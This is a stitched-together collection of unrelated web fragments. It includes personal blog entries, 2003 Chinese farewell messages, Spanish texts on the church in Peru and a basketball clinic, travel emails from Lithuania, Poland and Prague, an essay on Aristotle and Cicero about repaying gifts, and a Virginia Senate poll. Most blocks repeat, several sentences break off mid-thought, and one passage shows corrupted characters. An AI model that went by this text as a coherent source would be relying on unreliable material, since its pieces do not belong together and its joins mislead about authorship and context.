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31 days….till i see my babyi cant wait to feel that gitty smile on my face, that i cant seem to get off. oh ps im on top of life today1. im dressed and at class early3.
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This was my first week as Teacher on Duty. Following Andrea’s week, the list was updated and a third person added to each week. For example, last week Andrea tried to get the students to sweep the classrooms and go to bed by 10.30pm but it was indicated to me that there was no need for me to stay in the staffroom beyond 9am. The first few nights, I was left on my own even though I thought I was keeping the other teacher company (he worked in his office then went home without telling me!).Due to the monthly staff meeting on Friday, the assembly was cancelled so I didn’t get a chance to report my findings during the week to the school. They duty continued on Saturday and Sunday.While revising the duty list, I realised that due to visitors and a conference, we had only one week left in which we could do our second tour of duty. Should be interesting – or as my fellow teacher on duty this week described it – tedious.
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(but this time with black current jam I think it was.) I had to pack up.I put everything in the luggage hold until my room at the other hostel was ready It was hard to pack everything because I now have the box that my phone came in. I don’t know how I feel about the fact that I just took the first one that came along (I normally like to way my options) but I’m just so excited! I feel bad but its a good type of bad…it that makes any sense. but I know That I cant. After that I went to scope out a net cafe closer to where I’m going to be living.not 20 mins away. It makes me sad that she wont be coming up for my birthday because I don’t want to be alone…but I UNDERSTAND. So i cant wait to use that with whoever has all those little extras. I t was a great chance for me to people watch and that i did. now think half of them think that is Halloween.for serious. so many languages and dialects.when they turned up it turned out that i couldn’t go in cuz it was an over 21 bar. chatted laughed and took in all that is Dublin’s night life.
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Array If I have submitted my life to the Lord, then I submit to His path for all things and though it may seem foolish, it is of the Lord.Trusting in God, as foolish as it may look to those around me, is infinitely more profitable than trusting in myself or the world around me.Because the foolishness of God is wiser than men, and the weakness of God is stronger than men.
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31 days….till i see my babyi cant wait to feel that gitty smile on my face, that i cant seem to get off. oh ps im on top of life today1. im dressed and at class early3.
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This was my first week as Teacher on Duty. Following Andrea’s week, the list was updated and a third person added to each week. For example, last week Andrea tried to get the students to sweep the classrooms and go to bed by 10.30pm but it was indicated to me that there was no need for me to stay in the staffroom beyond 9am. The first few nights, I was left on my own even though I thought I was keeping the other teacher company (he worked in his office then went home without telling me!).Due to the monthly staff meeting on Friday, the assembly was cancelled so I didn’t get a chance to report my findings during the week to the school. They duty continued on Saturday and Sunday.While revising the duty list, I realised that due to visitors and a conference, we had only one week left in which we could do our second tour of duty. Should be interesting – or as my fellow teacher on duty this week described it – tedious.
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(but this time with black current jam I think it was.) I had to pack up.I put everything in the luggage hold until my room at the other hostel was ready It was hard to pack everything because I now have the box that my phone came in. I don’t know how I feel about the fact that I just took the first one that came along (I normally like to way my options) but I’m just so excited! I feel bad but its a good type of bad…it that makes any sense. but I know That I cant. After that I went to scope out a net cafe closer to where I’m going to be living.not 20 mins away. It makes me sad that she wont be coming up for my birthday because I don’t want to be alone…but I UNDERSTAND. So i cant wait to use that with whoever has all those little extras. I t was a great chance for me to people watch and that i did. now think half of them think that is Halloween.for serious. so many languages and dialects.when they turned up it turned out that i couldn’t go in cuz it was an over 21 bar. chatted laughed and took in all that is Dublin’s night life.
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Array 一晃三年了，偶爾還能電話談談，如今，你又得回屏東了…哎…天下沒有不散的宴席…一切盡在祝福中…記得，有空，還是要連絡啊…事事順心日日平安怡君2003/05/20 09:55 AM你們夫妻倆下的這個決心好大！但是是個令人讚嘆的決心，希望你的老丈人在女婿和女兒的陪伴之下，能夠很安詳平和的走完人生的最後一段。祝福您及全家重言2003/05/20 10:10 AM想不到又有一個最佳損友要離開我們，那以後就沒有人可以一起講風花雪月了，真是他媽的不爽啊，你讓人覺得高興，唉啊！想到以後無聊的生活，你還是不要走好 了，你走了，就沒有人可以跟我一起賭爛了，算了，你也是不得已的，你果然是『稼槓ㄟ男子漢』，擔的起責任，你岳父的事，如果觀念上可以接受，可以嘗試生機 飲食或許會有轉機，也只能祝福你一切順利，反正你到哪裡都能安得住的啦，就這樣吧。惠翔2003/05/20 10:30 AM我今天才在早餐店遇到您，沒想到才早上就接獲您要告別花蓮的信件。真的很令人不捨，這一別，不知要在多久才能看到您了耶！嗚…嗚….您的身體不是 很好，所以照顧家人的同時也要照顧好自己的身體喔！有機會一定會到屏東去看你們的，我好久沒有看到張逸了。看看桌上，還都是他的照片呢！希望您老丈人的病 痛能減輕，心情能更開朗，歡喜。一切保重喔～～慧鈴2003/05/20 10:12 AM您是孝子, 值得效仿, 我想您與師姊一定不捨這裡的人, 情, 物, 但人因有情而相聚, 祝福您一切順心, 離別前至我們中心逛逛, 我會想念您的 !穎慧2003/05/21 11:20 AM雖然有些捨不得你們，但為孝不能等，加油！誠摯的祝福你們。不見的巧連智就算了不要在意。我們家小朋友都大了，玩玩具的機會比較少，葦葦則需要較適齡的操作性玩具。你別費心了，真的沒關係。ï¼°ï¼³：要邀我們去屏東，別忘了留下地址電話，否則我們到時在火車站吼破喉嚨也沒人理我們，離開前來開個惜別會唄！凱庭2003/05/21 11:45 AM看到這樣的主旨，實在有些感傷，不過還是要祝福你們全家人。美之2003/05/21 01:43 PM乍聞你要離開，實在很捨不得，不過有這樣圓滿的結果，真的也要恭喜你。也祝福你照顧好自己的身體，才是你家師姊和小朋友最大的幸福與支撐喔！願你們未來諸事順遂。離地工作，仍是好同事。歡迎隨時回花蓮玩，或者來信、MAIL、FAX………ANYTHING金蘭2003/05/21 05:58 PM下班前看完您的告別涵，我想您和夫人在決定離開內心曾爭扎過，但從症狀看其父親我懷疑他是失智症初中期所表現出的症狀，是否曾帶他看身心醫學科做診斷及治療，若症狀改善或許您們可以不必離開花蓮，或者接二老來花蓮住，總之祝福您。文良2003/05/22 01:13 PM我老家離潮州很近，只有幾分鐘的車程，日常用品也在潮州購買。現在因為最小的孩子在屏東，所以較常回去，有空也請來喝茶。收到信那天，已轉了一封信給老師 (純粹轉信而已)，他應該已經知道。佩賢的預產期在最近(是個小男生)，希望生產順利。天凱還是很神秘，只有偶爾來電，書琴前一陣子生了個女生。文鶯2003/05/22 09:30 AM你和秀玲做出這樣的決定，真的很可貴，如果不這麼做，就不像你們了！我爸媽也日漸年老，對於他們的晚年照顧，我也常在心裏想著，有時也會跟姊姊．弟弟．妹妹談我的想法．外在環境變動得很快，順應這些變化，祝福旭宜．秀玲早點安頓下來，多陪伴家人．憶玲2003/05/23 11:27 AM台北、花蓮、屏東，都將是你的家了！真好。現在看到的小旭宜，以後再看見應該會是大旭宜了…(然後，會開始感嘆自己老得很快 )屏東分會也是個好地方。嘿嘿！重要的是，我以後要問資料，不會忘記你在那裡的。記得寫信來報告你的分機號碼喔!!
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Cabe mencionar la multitudinaria respuesta ante el atentado que sufrió en Instituto de Educación Rural IER Waqrani, de propiedad de la iglesia Católica, el 21 de mayo de 1989 caso emblemático que recoge algunos testimonios importantes, sobre la respuesta de la iglesia ante tal hecho: “…Repudiamos este ataque en contra del Instituto de Educación Rural, como también los mismos hechos perpetrados en la granja de Chuquibambilla y del local del concejo distrital de Macarí. No era extraño que en los seminarios, encuentros, talleres y congresos dirigidos a Laicos y agentes pastorales, se abordaran temas referentes a la defensa de los derechos humanos, tal es el caso de las semanas sociales organizadas por el Instituto de Pastoral Andina (IPA), lugar de encuentro y reflexión: “…Convocar ahora a una Semana Social significa releer y anunciar el evangelio (…) Es por eso que esta Semana Social, de carácter popular, pretende concretamente generar un espacio de reflexión e intercambio de opiniones y experiencias sobre los retos y posibilidades de la región Sur Andina (…)Democratización y participación popular: Cómo hacer real la participación popular en los gobiernos locales, regionales y en las propuestas ante el estado. Las estrategias empleadas por la iglesia católica sirvieron, en la mayoría de casos, para llevar adelante esta lucha en contra de la violencia, citaremos el caso de las tiendas comunales, lugar de abastecimiento de víveres para los campesinos, las cuales eran subvencionadas por la iglesia, buscando que los campesinos accedan, a precios cómodos y en época de crisis a fuentes alimenticias, además del apoyo en la formación y capacitación de campesinos en técnicas de cultivo y ganadería mediante los Institutos de Educación Rural (IER), que más allá de ser una entidad netamente técnica, formaba y capacitaba a los campesinos en liderazgo y organización. Finalmente, sería interesante recapitular las palabras de Monseñor Albano Quinn, quien fuera Obispo de Sicuani (Cuzco) en plena época de violencia política: “Los derechos Humanos se violan no sólo por la represión, los asesinatos, sino también por la existencia de condiciones de extrema pobreza y de estructuras económicas injustas que originan grandes desigualdades.”[7] Seguros de que la memoria será una de las características fundamentales en nuestras vidas de aquí en adelante, y que esta debe volar libre cual mariposa surcando los cielos, abriéndonos al diálogo y buscando alternativas viables para el desarrollo de nuestro país, nos queda la “terca esperanza”[8] de un mundo en el que todos sus habitantes vivan en armonía, respeto, justicia y fraternidad.
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-ne Viva el Basquet, Buenos Aires - La Provincia: Participá, jugá y viví un día con Diego Maggi (Fuente http://www.laautenticadefensa.com.ar/modules.php?name=News&file=article&sid=5162)Se desarrollará una clínica de Basquet, en el club Ciudad de Campana, el lunes 30 de junio a las 14.30, organizado por el Departamento de Deportes de la Secretaria de Salud y Desarrollo Social de la Municipalidad de Campana, con el auspicio del Programa Viva El Deporte de la Secretaría de Turismo y Deportes del Gobierno de la Provincia de Buenos Aires.La conducción de la clínica estará a cargo de Diego Maggi, quien además de explicar distintas técnicas y tácticas del basquet, seguramente enriquecerá el encuentro con el relato de las experiencias que ha recogido en su extensa trayectoria como deportista profesional.Con la presencia de Maggi en Campana, se enriquece un programa provincial que está teniendo muy buen resultado en todos los distritos de la provincia donde se ha desarrollado, y seguramente el éxito se repetirá en Campana.La jornada será con entrada libre y gratuita, y se espera que concurran muchos de la gran cantidad de amantes del basquet con que cuenta Campana gracias a la gran tradición que tiene nuestra ciudad.
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-ne CEREMONIA DE MEDICINA SHAMANICA Tocando la Tierra LOTO OJEDA RODRIGUEZ Además de ser terapeuta corporal, realiza hace cerca de 20 años CEREMONIAS DE MEDICINA SHAMANICAS . Estamos unidos por una deuda con nuestros antepasados y con el verdadero espíritu de la medicina….por ello el rescate y la conservación de estos conceptos de la psicología shamanica, es fundamental. El trabajo se desarrolla bajo estos propósitos esenciales: Sanación de NUESTRA RELACION con la Naturaleza y en especial con nuestra MADRE TIERRA, restableciendo nuestra conexión con la SABIDURIA PRIMORDIAL.Sanación de nuestras Raíces reconectando con la MEMORIA DE NUESTROS ANTEPASADOS. Comprensión del vinculo de interdependencia de las herencias en los vínculos familiares.Sanación de la relación con nuestra ciclos naturales y la influencia de estos en nuestra corporalidad, como una manera, de comprender: - la relación del cuerpo con la naturaleza - El rol que juega el cuerpo en el desarrollo de la sabiduría trascendente.
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(By the way, I don’t know what it is about coffee on a Saturday morning that makes me feel creative…)I used to date women back in college. haha) I would probably be married with kids in the suburbs and carrying around a pot belly.I spent a bit of time yesterday reading about female prostitution in Thailand so the idea of having sex with women has been in the back of my mind. It hasn’t been difficult.And then I thought back to my one lost love in college. He loved me back, I am convinced, but he couldn’t take the next step and admit it.
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Email me if you are bored.CJ—————————————————————————————————————————————————————–Thu 7/10/2003 3:50 PMSo I have one day left of teaching and I’ve been a bit grumpy because I have been working very hard the last few days and the weather has continued to utterly suck. allow me to begin.First off, it has rained everying single day here except two days. Anyway, the long and short was that I ate two potato dumplings and had to sit through hours of miscommunication, translation and meaningless references to the American, Lithuanian and Hungarian cultural triangle.Finally, I spend my last Saturday night going to a three hour long folk dancing ceremony held in a 10,000 capacity arena that was filled to the rim (though not with Brim).Well, it is a pretty short bitch list, but it will have to do. Now to be honest, the day after I sent the last email, I suffered a pang or two of guilt because I felt I was not fairly representing the people, culture and traditions of Lithuania, but since then after suffering setbacks too numerous to recount, I no longer feel guilty; I have not yet begun to re-acclimate myself to being back home because, for starters, the three weeks that I spent being back in NYC, 2.5 of them were spent at home being sick with the highest fever I’ve ever had as an adult. White people food (sans pizza and donuts) has never done it for me.So it’s off to Warsaw, then road trip to Krakao, Auschwitz, Prague and Bohemia, the last of which I just found out certain of my ancestors are from. Really hit the spot, if that means it made me goofy, clumsy and violently ill.We also had a little bit of an adventure this morning with the car, which is this fiesty, British racing car-green colored Russian-made Opel. I was left dreading the thought that I would have to push the car backwards while Victoria steered to get back on the highway.To be clear to all you non-Opel drivers, the gear was to the left of first and despite our best efforts to push, pull, twist and bend the gearstick, the sucker just wouldn’t budge. We were back in business.Driving on Polish roads can best be described as interesting. The roads themselves are in pretty good shape without many potholes at all, however they have settled quite a bit and there are dramatic ruts in the ground that mean when you change lanes in a tiny car, your car goes shooting on out. But since you spend most of your time either riding the middle of the road passing some ridiculously clunky car or giant coal-emitting truck or the shoulder of the road avoiding the oncoming Mercedes Benz-equivalent Mack truck, you actually don’t even spend that much time in those ruts. I believe we were the first ever American and British combo to ever stay at their hotel, because the staff was clearly surprised to see us, and made us promise to stay with them next time we were in Bochina.Cocky from the previous days driving and navigation excellence we left Bochina at around 11:30 AM (I know it’s a late start, but Victoria was nice enough to let me sleep in and she got to do a bit of swimming in their spacious 25m indoor pool). Both of us also knew that we had one long-ass day of driving ahead of us, and we were tacitly dreading driving again on the roads for at least 6 more hours.Since the hotel was directly the opposite direction of Prague we had to pass through Krakow again. We ended up re-entering Old Town, finally getting on the road we wanted, then losing it in an uncomprendingly complex and mislabeled triangular(?) rotary. In the end, after refusing to heed my suggestions for around 3 km, just as she is about to relent and head back, we see a sign for the road that we want. Now, the Lonely Planet guide had indicated that the roads in the Czeck Republic were worse than Poland, and I was fixated on the parking situation in Prague, quite rightly as it turned out. We were driving in blind.As it turned out the roads in Prague were PERFECT. The only worry spot for me was that I had read that we needed to get a permit to drive on Czeck roads, and we hadn’t been told to pick one up at the border, so I was scared that a cop would pull us over and issue some fat ticket or demand sexual satisfication from either Victoria or myself.As we approached Prague, during the space of an hour, the temperature dropped 31 degrees and it started to rain. We later went down for a beer and bean soup served in a small, hollowed-out rye bread loaf.We had a great day yesterday visiting Prague Castle, cruising around on the tram and Metro, taking a boat ride, eating Chinese food, doing our laundry (a big YEAH) and hitting up cafes left and right. Looks like this will be exclusively an Eastern European trip.So this road trip thing is actually pretty fun. While it can be hard driving in countries where you cannot read a single sign, the Michelin map I have is quality and the roads are well-labeled. Maybe it would be different if I was with a huge group of people and partying was my goal, but I dig pastoral themes, I always have.This will be a short one because I am hungry and tired from driving all day long, since I can no longer pawn that duty off on Victoria (tear, tear).CJ—————————————————————————————————————————————————————–Wed 7/23/2003 6:45 AMSo I am still alive, no additional charges on the car (Victoria should be happy), but it was a mildly harrowing journey. Now I had been dreading this return journey for quite some time, in part because I had been spoiled by Czeck roads. Mind you not too spoiled though, because one of the first things I learned once I got off the main highways in both the Czeck Repulic and Poland was that only around 50% of the roads are labeled correctly on any map. Now, I had asked myself how much would it suck to drive this little car in the pouring rain in roads that had deep rut lines in them that presumably filled on up with water, and the answer, as I had guessed correctly, was a whole fucking lot. I also passed over 500 cars, and was only passed by 84, which made me a massive net passer (when you are driving by yourself for like 7 hours, you made up stupid games, ok?).
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Array 一晃三年了，偶爾還能電話談談，如今，你又得回屏東了…哎…天下沒有不散的宴席…一切盡在祝福中…記得，有空，還是要連絡啊…事事順心日日平安怡君2003/05/20 09:55 AM你們夫妻倆下的這個決心好大！但是是個令人讚嘆的決心，希望你的老丈人在女婿和女兒的陪伴之下，能夠很安詳平和的走完人生的最後一段。祝福您及全家重言2003/05/20 10:10 AM想不到又有一個最佳損友要離開我們，那以後就沒有人可以一起講風花雪月了，真是他媽的不爽啊，你讓人覺得高興，唉啊！想到以後無聊的生活，你還是不要走好 了，你走了，就沒有人可以跟我一起賭爛了，算了，你也是不得已的，你果然是『稼槓ㄟ男子漢』，擔的起責任，你岳父的事，如果觀念上可以接受，可以嘗試生機 飲食或許會有轉機，也只能祝福你一切順利，反正你到哪裡都能安得住的啦，就這樣吧。惠翔2003/05/20 10:30 AM我今天才在早餐店遇到您，沒想到才早上就接獲您要告別花蓮的信件。真的很令人不捨，這一別，不知要在多久才能看到您了耶！嗚…嗚….您的身體不是 很好，所以照顧家人的同時也要照顧好自己的身體喔！有機會一定會到屏東去看你們的，我好久沒有看到張逸了。看看桌上，還都是他的照片呢！希望您老丈人的病 痛能減輕，心情能更開朗，歡喜。一切保重喔～～慧鈴2003/05/20 10:12 AM您是孝子, 值得效仿, 我想您與師姊一定不捨這裡的人, 情, 物, 但人因有情而相聚, 祝福您一切順心, 離別前至我們中心逛逛, 我會想念您的 !穎慧2003/05/21 11:20 AM雖然有些捨不得你們，但為孝不能等，加油！誠摯的祝福你們。不見的巧連智就算了不要在意。我們家小朋友都大了，玩玩具的機會比較少，葦葦則需要較適齡的操作性玩具。你別費心了，真的沒關係。ï¼°ï¼³：要邀我們去屏東，別忘了留下地址電話，否則我們到時在火車站吼破喉嚨也沒人理我們，離開前來開個惜別會唄！凱庭2003/05/21 11:45 AM看到這樣的主旨，實在有些感傷，不過還是要祝福你們全家人。美之2003/05/21 01:43 PM乍聞你要離開，實在很捨不得，不過有這樣圓滿的結果，真的也要恭喜你。也祝福你照顧好自己的身體，才是你家師姊和小朋友最大的幸福與支撐喔！願你們未來諸事順遂。離地工作，仍是好同事。歡迎隨時回花蓮玩，或者來信、MAIL、FAX………ANYTHING金蘭2003/05/21 05:58 PM下班前看完您的告別涵，我想您和夫人在決定離開內心曾爭扎過，但從症狀看其父親我懷疑他是失智症初中期所表現出的症狀，是否曾帶他看身心醫學科做診斷及治療，若症狀改善或許您們可以不必離開花蓮，或者接二老來花蓮住，總之祝福您。文良2003/05/22 01:13 PM我老家離潮州很近，只有幾分鐘的車程，日常用品也在潮州購買。現在因為最小的孩子在屏東，所以較常回去，有空也請來喝茶。收到信那天，已轉了一封信給老師 (純粹轉信而已)，他應該已經知道。佩賢的預產期在最近(是個小男生)，希望生產順利。天凱還是很神秘，只有偶爾來電，書琴前一陣子生了個女生。文鶯2003/05/22 09:30 AM你和秀玲做出這樣的決定，真的很可貴，如果不這麼做，就不像你們了！我爸媽也日漸年老，對於他們的晚年照顧，我也常在心裏想著，有時也會跟姊姊．弟弟．妹妹談我的想法．外在環境變動得很快，順應這些變化，祝福旭宜．秀玲早點安頓下來，多陪伴家人．憶玲2003/05/23 11:27 AM台北、花蓮、屏東，都將是你的家了！真好。現在看到的小旭宜，以後再看見應該會是大旭宜了…(然後，會開始感嘆自己老得很快 )屏東分會也是個好地方。嘿嘿！重要的是，我以後要問資料，不會忘記你在那裡的。記得寫信來報告你的分機號碼喔!!
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Cabe mencionar la multitudinaria respuesta ante el atentado que sufrió en Instituto de Educación Rural IER Waqrani, de propiedad de la iglesia Católica, el 21 de mayo de 1989 caso emblemático que recoge algunos testimonios importantes, sobre la respuesta de la iglesia ante tal hecho: “…Repudiamos este ataque en contra del Instituto de Educación Rural, como también los mismos hechos perpetrados en la granja de Chuquibambilla y del local del concejo distrital de Macarí. No era extraño que en los seminarios, encuentros, talleres y congresos dirigidos a Laicos y agentes pastorales, se abordaran temas referentes a la defensa de los derechos humanos, tal es el caso de las semanas sociales organizadas por el Instituto de Pastoral Andina (IPA), lugar de encuentro y reflexión: “…Convocar ahora a una Semana Social significa releer y anunciar el evangelio (…) Es por eso que esta Semana Social, de carácter popular, pretende concretamente generar un espacio de reflexión e intercambio de opiniones y experiencias sobre los retos y posibilidades de la región Sur Andina (…)Democratización y participación popular: Cómo hacer real la participación popular en los gobiernos locales, regionales y en las propuestas ante el estado. Las estrategias empleadas por la iglesia católica sirvieron, en la mayoría de casos, para llevar adelante esta lucha en contra de la violencia, citaremos el caso de las tiendas comunales, lugar de abastecimiento de víveres para los campesinos, las cuales eran subvencionadas por la iglesia, buscando que los campesinos accedan, a precios cómodos y en época de crisis a fuentes alimenticias, además del apoyo en la formación y capacitación de campesinos en técnicas de cultivo y ganadería mediante los Institutos de Educación Rural (IER), que más allá de ser una entidad netamente técnica, formaba y capacitaba a los campesinos en liderazgo y organización. Finalmente, sería interesante recapitular las palabras de Monseñor Albano Quinn, quien fuera Obispo de Sicuani (Cuzco) en plena época de violencia política: “Los derechos Humanos se violan no sólo por la represión, los asesinatos, sino también por la existencia de condiciones de extrema pobreza y de estructuras económicas injustas que originan grandes desigualdades.”[7] Seguros de que la memoria será una de las características fundamentales en nuestras vidas de aquí en adelante, y que esta debe volar libre cual mariposa surcando los cielos, abriéndonos al diálogo y buscando alternativas viables para el desarrollo de nuestro país, nos queda la “terca esperanza”[8] de un mundo en el que todos sus habitantes vivan en armonía, respeto, justicia y fraternidad.
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-ne Viva el Basquet, Buenos Aires - La Provincia: Participá, jugá y viví un día con Diego Maggi (Fuente http://www.laautenticadefensa.com.ar/modules.php?name=News&file=article&sid=5162)Se desarrollará una clínica de Basquet, en el club Ciudad de Campana, el lunes 30 de junio a las 14.30, organizado por el Departamento de Deportes de la Secretaria de Salud y Desarrollo Social de la Municipalidad de Campana, con el auspicio del Programa Viva El Deporte de la Secretaría de Turismo y Deportes del Gobierno de la Provincia de Buenos Aires.La conducción de la clínica estará a cargo de Diego Maggi, quien además de explicar distintas técnicas y tácticas del basquet, seguramente enriquecerá el encuentro con el relato de las experiencias que ha recogido en su extensa trayectoria como deportista profesional.Con la presencia de Maggi en Campana, se enriquece un programa provincial que está teniendo muy buen resultado en todos los distritos de la provincia donde se ha desarrollado, y seguramente el éxito se repetirá en Campana.La jornada será con entrada libre y gratuita, y se espera que concurran muchos de la gran cantidad de amantes del basquet con que cuenta Campana gracias a la gran tradición que tiene nuestra ciudad.
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-ne CEREMONIA DE MEDICINA SHAMANICA Tocando la Tierra LOTO OJEDA RODRIGUEZ Además de ser terapeuta corporal, realiza hace cerca de 20 años CEREMONIAS DE MEDICINA SHAMANICAS . Estamos unidos por una deuda con nuestros antepasados y con el verdadero espíritu de la medicina….por ello el rescate y la conservación de estos conceptos de la psicología shamanica, es fundamental. El trabajo se desarrolla bajo estos propósitos esenciales: Sanación de NUESTRA RELACION con la Naturaleza y en especial con nuestra MADRE TIERRA, restableciendo nuestra conexión con la SABIDURIA PRIMORDIAL.Sanación de nuestras Raíces reconectando con la MEMORIA DE NUESTROS ANTEPASADOS. Comprensión del vinculo de interdependencia de las herencias en los vínculos familiares.Sanación de la relación con nuestra ciclos naturales y la influencia de estos en nuestra corporalidad, como una manera, de comprender: - la relación del cuerpo con la naturaleza - El rol que juega el cuerpo en el desarrollo de la sabiduría trascendente.
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(By the way, I don’t know what it is about coffee on a Saturday morning that makes me feel creative…)I used to date women back in college. haha) I would probably be married with kids in the suburbs and carrying around a pot belly.I spent a bit of time yesterday reading about female prostitution in Thailand so the idea of having sex with women has been in the back of my mind. It hasn’t been difficult.And then I thought back to my one lost love in college. He loved me back, I am convinced, but he couldn’t take the next step and admit it.
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Email me if you are bored.CJ—————————————————————————————————————————————————————–Thu 7/10/2003 3:50 PMSo I have one day left of teaching and I’ve been a bit grumpy because I have been working very hard the last few days and the weather has continued to utterly suck. allow me to begin.First off, it has rained everying single day here except two days. Anyway, the long and short was that I ate two potato dumplings and had to sit through hours of miscommunication, translation and meaningless references to the American, Lithuanian and Hungarian cultural triangle.Finally, I spend my last Saturday night going to a three hour long folk dancing ceremony held in a 10,000 capacity arena that was filled to the rim (though not with Brim).Well, it is a pretty short bitch list, but it will have to do. Now to be honest, the day after I sent the last email, I suffered a pang or two of guilt because I felt I was not fairly representing the people, culture and traditions of Lithuania, but since then after suffering setbacks too numerous to recount, I no longer feel guilty; I have not yet begun to re-acclimate myself to being back home because, for starters, the three weeks that I spent being back in NYC, 2.5 of them were spent at home being sick with the highest fever I’ve ever had as an adult. White people food (sans pizza and donuts) has never done it for me.So it’s off to Warsaw, then road trip to Krakao, Auschwitz, Prague and Bohemia, the last of which I just found out certain of my ancestors are from. Really hit the spot, if that means it made me goofy, clumsy and violently ill.We also had a little bit of an adventure this morning with the car, which is this fiesty, British racing car-green colored Russian-made Opel. I was left dreading the thought that I would have to push the car backwards while Victoria steered to get back on the highway.To be clear to all you non-Opel drivers, the gear was to the left of first and despite our best efforts to push, pull, twist and bend the gearstick, the sucker just wouldn’t budge. We were back in business.Driving on Polish roads can best be described as interesting. The roads themselves are in pretty good shape without many potholes at all, however they have settled quite a bit and there are dramatic ruts in the ground that mean when you change lanes in a tiny car, your car goes shooting on out. But since you spend most of your time either riding the middle of the road passing some ridiculously clunky car or giant coal-emitting truck or the shoulder of the road avoiding the oncoming Mercedes Benz-equivalent Mack truck, you actually don’t even spend that much time in those ruts. I believe we were the first ever American and British combo to ever stay at their hotel, because the staff was clearly surprised to see us, and made us promise to stay with them next time we were in Bochina.Cocky from the previous days driving and navigation excellence we left Bochina at around 11:30 AM (I know it’s a late start, but Victoria was nice enough to let me sleep in and she got to do a bit of swimming in their spacious 25m indoor pool). Both of us also knew that we had one long-ass day of driving ahead of us, and we were tacitly dreading driving again on the roads for at least 6 more hours.Since the hotel was directly the opposite direction of Prague we had to pass through Krakow again. We ended up re-entering Old Town, finally getting on the road we wanted, then losing it in an uncomprendingly complex and mislabeled triangular(?) rotary. In the end, after refusing to heed my suggestions for around 3 km, just as she is about to relent and head back, we see a sign for the road that we want. Now, the Lonely Planet guide had indicated that the roads in the Czeck Republic were worse than Poland, and I was fixated on the parking situation in Prague, quite rightly as it turned out. We were driving in blind.As it turned out the roads in Prague were PERFECT. The only worry spot for me was that I had read that we needed to get a permit to drive on Czeck roads, and we hadn’t been told to pick one up at the border, so I was scared that a cop would pull us over and issue some fat ticket or demand sexual satisfication from either Victoria or myself.As we approached Prague, during the space of an hour, the temperature dropped 31 degrees and it started to rain. We later went down for a beer and bean soup served in a small, hollowed-out rye bread loaf.We had a great day yesterday visiting Prague Castle, cruising around on the tram and Metro, taking a boat ride, eating Chinese food, doing our laundry (a big YEAH) and hitting up cafes left and right. Looks like this will be exclusively an Eastern European trip.So this road trip thing is actually pretty fun. While it can be hard driving in countries where you cannot read a single sign, the Michelin map I have is quality and the roads are well-labeled. Maybe it would be different if I was with a huge group of people and partying was my goal, but I dig pastoral themes, I always have.This will be a short one because I am hungry and tired from driving all day long, since I can no longer pawn that duty off on Victoria (tear, tear).CJ—————————————————————————————————————————————————————–Wed 7/23/2003 6:45 AMSo I am still alive, no additional charges on the car (Victoria should be happy), but it was a mildly harrowing journey. Now I had been dreading this return journey for quite some time, in part because I had been spoiled by Czeck roads. Mind you not too spoiled though, because one of the first things I learned once I got off the main highways in both the Czeck Repulic and Poland was that only around 50% of the roads are labeled correctly on any map. Now, I had asked myself how much would it suck to drive this little car in the pouring rain in roads that had deep rut lines in them that presumably filled on up with water, and the answer, as I had guessed correctly, was a whole fucking lot. I also passed over 500 cars, and was only passed by 84, which made me a massive net passer (when you are driving by yourself for like 7 hours, you made up stupid games, ok?).
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Array of History, Arts and Libraries).The May 6th events and the authors tour that has followed it, including visits by notable authors to 51 libraries statewide, were made possible through the Library of Michigan Foundation by the Michigan Humanities Council and other generous sponsors including Cooley Law School, ProQuest, LaSalle Bank, Michigan Center for the Book, Michigan Week, the National Endowment for the Humanities, Schulers Books &
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Their posts are often about other blog posts, and they encourage comments, which are then commented on, and may link to other blogs. Carnivals are essentially self-selected groups of blog posts, submitted by the authors to a site that acts as a host for a particular topic. According to a page there, one of the first blog carnivals was called, appropriately enough, Carnival of the Vanities.
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Aristotle mentions, as an expression of magnanimity, that one give in return more than what was originally given to you, since in that way the other person is blessed, as it were, by dealing with you, and furthermore he now becomes indebted to you–which presumably will encourage him to initiate another round of reciprocal giving (NE IV.3 1124b10-12).Cicero in De Officiis recommends something similar, although he does so under his treatment of the virtue of liberalitas, a species (he considers) of iusitia, not under magnitudo animi:Quodsi ea, quae utenda acceperis, maiore mensura, si modo possis, iubet reddere Hesiodus, quidnam beneficio provocati facere debemus? an imitari agros fertiles, qui multo plus efferunt quam acceperunt? Etenim si in eos, quos speramus nobis profuturos, non dubitamus officia conferre, quales in eos esse debemus, qui iam profuerunt? (I 48)For if, as Hesiod commands [Works and Days 349-51], you should return in greater measure, provided that you can, anything that you have needed to borrow, what should we do when challenged by an unsought favor? Should we not take as our model the fertile fields, which bring forth much more than they have received? We do not hesitate to perform dutiful services for those whom we hope will assist us in the future; what, then, ought we to be like towards those who have already assisted us? (Adkins)Since I agree with Aristotle that the point of studying ethics is not simply to know what virtue is but also to become good (and that these may come apart), during the Mayweek Seminar I decided at one point to attempt to put this advice into practice.At lunch with some graduate students I found myself short for paying my share of the tab. One student kindly lent me £2. The next day, I purposefully brought to the seminar £3 in change, and, when this student was leaving the room at the end of the session, I placed that sum in his hand. He had a chance to look at the money and count it before he went out the door, and then he turned to me and said, It was onlylink

A new Rasmussen Reports poll shows the Virginia Senate race narrowing, but Allen still leads from what is traditionally considered safe territory, above 50% (Apr number in parentheses):George Allen (R) 51% (50%)Jim Webb (D) 41% (30%)

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Array of History, Arts and Libraries).The May 6th events and the authors tour that has followed it, including visits by notable authors to 51 libraries statewide, were made possible through the Library of Michigan Foundation by the Michigan Humanities Council and other generous sponsors including Cooley Law School, ProQuest, LaSalle Bank, Michigan Center for the Book, Michigan Week, the National Endowment for the Humanities, Schulers Books &
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Their posts are often about other blog posts, and they encourage comments, which are then commented on, and may link to other blogs. Carnivals are essentially self-selected groups of blog posts, submitted by the authors to a site that acts as a host for a particular topic. According to a page there, one of the first blog carnivals was called, appropriately enough, Carnival of the Vanities.
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Aristotle mentions, as an expression of magnanimity, that one give in return more than what was originally given to you, since in that way the other person is blessed, as it were, by dealing with you, and furthermore he now becomes indebted to you–which presumably will encourage him to initiate another round of reciprocal giving (NE IV.3 1124b10-12).Cicero in De Officiis recommends something similar, although he does so under his treatment of the virtue of liberalitas, a species (he considers) of iusitia, not under magnitudo animi:Quodsi ea, quae utenda acceperis, maiore mensura, si modo possis, iubet reddere Hesiodus, quidnam beneficio provocati facere debemus? an imitari agros fertiles, qui multo plus efferunt quam acceperunt? Etenim si in eos, quos speramus nobis profuturos, non dubitamus officia conferre, quales in eos esse debemus, qui iam profuerunt? (I 48)For if, as Hesiod commands [Works and Days 349-51], you should return in greater measure, provided that you can, anything that you have needed to borrow, what should we do when challenged by an unsought favor? Should we not take as our model the fertile fields, which bring forth much more than they have received? We do not hesitate to perform 